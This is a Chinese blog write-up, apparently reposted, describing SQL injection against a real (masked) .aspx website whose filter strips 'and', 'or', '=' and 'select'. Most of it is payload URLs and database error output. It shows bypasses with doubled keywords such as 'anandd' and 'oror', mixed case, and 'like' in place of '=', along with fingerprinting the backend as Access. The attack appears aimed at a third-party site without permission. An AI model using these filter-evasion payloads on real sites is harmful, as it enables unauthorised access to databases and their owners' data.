• 过滤'and','or' ''' '*' '=' ‘select’下的注入


    遇到一个站:http://www.马赛克.net/intro.aspx?id=6

    加了单引号  http://www.马赛克.net/intro.aspx?id=6‘  页面无变化

    加了双引号   http://www.马赛克.net/intro.aspx?id=6"  报错

    符串的语法错误 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6" ) order by id_sort' 中。

    可以看到  注入点 在()中

    测试   and 1=1     and 1=2   or 1=1   报错

    语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6  11 )' 中

    可以看到   and  or  = 等关键字 被”吃掉了“

    经测试  并没有进行循环查找过滤 and or 等字符

    绕后方法   anandd   oror     And(大小写)

    http://www.马赛克.net/intro.aspx?id=6 anandd 1=1  返回正常

    http://www.马赛克.net/intro.aspx?id=6 anandd 1=2  返回也正常

    因为知道 = 也被“吃掉”了  所以用 'like' 代替

    http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1  返回正常

    http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2  返回也正常

    --------------------

    http://www.马赛克.net/intro.aspx?id=6 anandd  exists(select id from sysobjects)   报错  select 也被“吃掉”了

    语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6 and exists( id from sysobjects) )' 中。

    紧接着,我在在数据库版本上花了很多时间   第一直觉认为是 aspx + mssql 组合

    然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜    得出结论是 access数据库

    --------------------

    知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力  并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据

    由于表的组合比较变态  tab_intro_info 也就没有继续猜下去

  • 相关阅读:
    鹅厂女专家:用“爱折腾”实现跨界之美
    基于腾讯云的视频聊天研究
    iOS微信内存监控
    2017年数据库技术盘点
    如何做好游戏内实时语音体验
    腾讯云微计算实践:从Serverless说起,谈谈边缘计算的未来
    使用腾讯云“自定义监控”监控GPU使用率
    如何在Python中从零开始实现随机森林
    DataGridView 设置某个列为只能为数字
    Ieditor
  • 原文地址:https://www.cnblogs.com/mrhonest/p/9253406.html
Copyright © 2020-2023  润新知